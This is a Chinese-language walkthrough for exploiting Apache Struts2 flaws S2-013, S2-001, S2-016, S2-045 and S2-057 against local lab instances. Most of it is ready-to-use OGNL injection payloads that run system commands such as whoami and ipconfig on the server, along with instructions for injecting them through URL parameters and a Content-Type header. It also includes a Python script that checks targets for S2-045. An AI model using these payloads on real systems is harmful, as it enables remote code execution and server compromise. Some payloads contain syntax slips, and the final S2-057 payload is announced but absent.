Struts框架漏洞
Struts-S2-013漏洞利用
不妨先来看下index.jsp中标签是怎么设置的
<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>
然后来测试一下最简单payload ${1+1}
(记得编码提交 :)
http://localhost:8888/link.action?a=%24%7B1%2b1%7D
就可以看到返回的url中的参数已经被解析成了2
查询whoami
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
更改网址后的
%24%7B(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%7D
Struts-S2-001漏洞利用
五、 POC:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
六、 测试网址:
将POC粘到一个输入框,点击Submit,此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
执行结果:
执行ipconfig命令时还是出现只能输出第一行,老问题,因为写的时候没有安装漏洞的顺序写,解决方法在后面有提及,简单来说就是修改e大小,重复#d.read(#e), #f.getWriter().println(new java.lang.String(#e))
七、 修改后POC
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)), #d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
八、执行结果
Struts-S2-016漏洞利用
poc:
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
原始网址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
修改之后网址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
七、执行结果
执行结果,有下载文件,下载并用notepad++打开看到结果
Struts-S2-045漏洞利用
poc:
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
用docker搭建好环境后,访问,是这个界面
随便选择个文件,上传,用burp抓包
然后Repeater,只需要更改Content-Type的值,就可实现远程代码执行
附上一个检测POC
#!/usr/bin/env python #coding:utf8 #code by fuck@0day5.com import sys import requests requests.packages.urllib3.disable_warnings() def poccheck(url): result = False header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36', 'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}" } try: response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False) if response.content.find("88866777")!=-1: result = url+" find struts2-45" except Exception as e: print str(e) pass return result if __name__ == '__main__': if len(sys.argv) == 2: print poccheck(sys.argv[1]) sys.exit(0) else: print ("usage: %s http://www.baidu.com/vuln.action" % sys.argv[0]) sys.exit(-1)
Struts-S2-057漏洞利用
在url处输入http://IP:8080/struts2-showcase/${(123+123)}/actionChain1.action后刷新可以看到中间数字位置相加了。
修改中间${(123+123)}位置的payload替换用代码执行编写成命令执行的exp,这一步使用burp抓包修改可以直观的看到结果
Payload: //注:payload需要使用url编码
抓包发送到Repeater(重放)模块,在url加上url编码的paylaod,然后发送即可在头部看到回显结果